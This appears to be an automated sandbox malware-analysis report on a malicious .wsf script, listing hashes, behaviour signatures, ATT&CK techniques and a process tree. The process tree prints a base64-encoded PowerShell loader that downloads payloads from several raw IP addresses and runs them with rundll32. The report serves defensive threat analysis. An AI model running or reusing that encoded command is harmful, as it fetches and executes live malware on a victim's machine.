742fc41f10c15a25a4a4f597ad5929c8b342039b20aef6ea9e27e324932e995a

Analysis

max time kernel
61s
max time network
132s
platform
windows10-2004_x64
resource
win10v2004-20230221-en
resource tags

arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
submitted
11-04-2023 16:33

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General

Target

dp_December.26(58288).wsf
Size

186KB
MD5

5390aaf6fac0b4c448b30285979fe9c2
SHA1

05fc56ff3d86ed4944e378ac79ffadc75208a16c
SHA256

742fc41f10c15a25a4a4f597ad5929c8b342039b20aef6ea9e27e324932e995a
SHA512

475913de3df236bf04bc0037876f25d77dd0c8606337fd22119bf419b55b8c15244af35f4aab1ec70c920055d01c781d04c4ddb62e55bd243aa694a9699a394e
SSDEEP

3072:XSKbnv6Ypi/5IBwdlSi0xtfsq0AwZEdO8Rl+ew+H9w/+MGZSswSF:Jbv6asIBwdlSiUtfsqRdvvpw+H9w/ZGn

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
14	4852	powershell.exe
17	4852	powershell.exe
19	4852	powershell.exe
22	4852	powershell.exe
24	4852	powershell.exe
26	4852	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4852	powershell.exe
4852	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4852	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2348 wrote to memory of 4852	2348	WScript.exe	84
PID 2348 wrote to memory of 4852	2348	WScript.exe	84

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\dp_December.26(58288).wsf"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgA7ACQAUABlAGMAawBlAHIAdwBvAG8AZABHAGEAbAB1AG0AcABoAGUAZAAgAD0AIAAoACIAaAB0AHQAcAA6AC8ALwA4ADcALgAyADMANgAuADEANAA2AC4AMwA0AC8ANABCAEkAbgBOAHYAeABNAFkAcQBUAGsALgBkAGEAdAAsAGgAdAB0AHAAOgAvAC8ANQAuADQAMgAuADIAMgAxAC4AMQAyADQALwA1AGMAWgA2AGMAeQBPAFAAZwBNAC4AZABhAHQALABoAHQAdABwADoALwAvADEANAA5AC4AMQAwADIALgAyADQAMwAuADIAMAA0AC8ANQBTADQATgBCADcALgBkAGEAdAAsAGgAdAB0AHAAOgAvAC8ANAA1AC4AMQA1ADkALgAyADQAOQAuADMAMwAvAE4AQgB2AGcAbQBRAG4ANwBqAE0ALgBkAGEAdAAsAGgAdAB0AHAAOgAvAC8ANAA1AC4ANgA2AC4AMgA0ADgALgAxADgANwAvADkATgBoAEYAWQBjAHEALgBkAGEAdAAsAGgAdAB0AHAAOgAvAC8ANQAxAC4AMgAyADIALgAxADkAOQAuADIANAA0AC8AdQBuAGIANABTAEEAUABsAEMAMQAuAGQAYQB0ACIAKQAuAHMAcABsAGkAdAAoACIALAAiACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFcAaQBkAGUAcgBzAGgAaQBuAHMAQQBsAHQAbwBjAHUAbQB1AGwAdQBzACAAaQBuACAAJABQAGUAYwBrAGUAcgB3AG8AbwBkAEcAYQBsAHUAbQBwAGgAZQBkACkAIAB7AHQAcgB5ACAAewB3AGcAZQB0ACAAJABXAGkAZABlAHIAcwBoAGkAbgBzAEEAbAB0AG8AYwB1AG0AdQBsAHUAcwAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEANQAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAYQBsAGsAYQBtAGkAbgBlAFUAbgBkAHIAZQBhAGQAaQBuAGcALgBVAG4AYwBpAHQAZQBEAGkAZQBnAHUAZQBuAG8AOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABlAG4AdgA6AFQARQBNAFAAXABhAGwAawBhAG0AaQBuAGUAVQBuAGQAcgBlAGEAZABpAG4AZwAuAFUAbgBjAGkAdABlAEQAaQBlAGcAdQBlAG4AbwApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADEAMAAwADAAMAAwACkAIAB7AHMAdABhAHIAdAAgAHIAdQBuAGQAbABsADMAMgAgACQAZQBuAHYAOgBUAEUATQBQAFwAXABhAGwAawBhAG0AaQBuAGUAVQBuAGQAcgBlAGEAZABpAG4AZwAuAFUAbgBjAGkAdABlAEQAaQBlAGcAdQBlAG4AbwAsAE4AaQBrAG4AOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoACAAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAyADsAfQB9AA=="
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4852

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sss43tix.i44.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4852-133-0x00000292E5D30000-0x00000292E5D40000-memory.dmp

Filesize
64KB

Download
memory/4852-134-0x00000292E5D30000-0x00000292E5D40000-memory.dmp

Filesize
64KB

Download
memory/4852-144-0x00000292CC190000-0x00000292CC1B2000-memory.dmp

Filesize
136KB

Download
memory/4852-145-0x00000292E5D30000-0x00000292E5D40000-memory.dmp

Filesize
64KB

Download
memory/4852-146-0x00000292E7350000-0x00000292E7AF6000-memory.dmp

Filesize
7.6MB

Download
memory/4852-148-0x00000292E5D30000-0x00000292E5D40000-memory.dmp

Filesize
64KB

Download
memory/4852-149-0x00000292E5D30000-0x00000292E5D40000-memory.dmp

Filesize
64KB

Download
memory/4852-150-0x00000292E5D30000-0x00000292E5D40000-memory.dmp

Filesize
64KB

Download